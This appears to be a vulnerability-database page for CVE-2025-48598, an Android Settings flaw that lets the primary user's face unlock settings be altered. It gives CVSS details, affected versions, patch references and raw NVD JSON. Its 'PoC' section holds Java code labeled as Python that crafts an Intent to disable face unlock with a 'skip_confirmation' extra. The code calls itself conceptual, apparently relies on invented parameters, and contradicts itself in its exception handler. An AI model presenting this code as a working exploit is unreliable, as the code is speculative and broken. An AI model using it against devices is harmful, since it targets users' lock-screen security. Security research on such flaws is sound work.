Security Vulnerability Report
中文
CVE-2025-48598 CVSS 6.6 MEDIUM

CVE-2025-48598

Published: 2025-12-08 17:16:17
Last Modified: 2025-12-08 19:44:16

Description

In multiple locations, there is a possible way to alter the primary user's face unlock settings due to a confused deputy. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
Android Settings 应用在特定版本中存在此漏洞
受影响Android版本需参考2025年12月Android安全公告
建议查阅Android官方源码提交83447688f8e3e8f009f1e7d275a14ea00ee7953a获取详细版本信息

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48598 PoC - Face Unlock Settings Manipulation // This is a conceptual proof-of-concept for educational purposes only // Attack Vector: Physical access + malicious app installation // Target: Android Settings app on vulnerable devices // Step 1: Identify vulnerable Settings components String[] vulnerableComponents = { "com.android.settings/.FaceSettings", "com.android.settings/.Settings$FaceSettingsActivity", "com.android.settings/.Settings$FaceEnrollIntroActivity" }; // Step 2: Construct malicious Intent to modify Face Unlock settings Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.FaceSettings" )); maliciousIntent.setAction("android.settings.FACE_SETTINGS"); maliciousIntent.putExtra("enable_face_unlock", false); // Disable face unlock maliciousIntent.putExtra("skip_confirmation", true); // Bypass user confirmation // Step 3: Trigger the attack (requires physical access or installed app) try { startActivity(maliciousIntent); } catch (SecurityException e) { // On vulnerable devices, this may succeed unexpectedly Log.d("CVE-2025-48598", "Attack attempt: " + e.getMessage()); } // Note: Actual exploitation requires specific conditions: // 1. Physical access to unlocked device, OR // 2. Installation of malicious app with some permissions // 3. Target device running affected Android version

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48598", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.897", "lastModified": "2025-12-08T19:44:15.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to alter the primary user's face unlock settings due to a confused deputy. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-610"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/apps/Settings/+/83447688f8e3e8f009f1e7d275a14ea00ee7953a", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}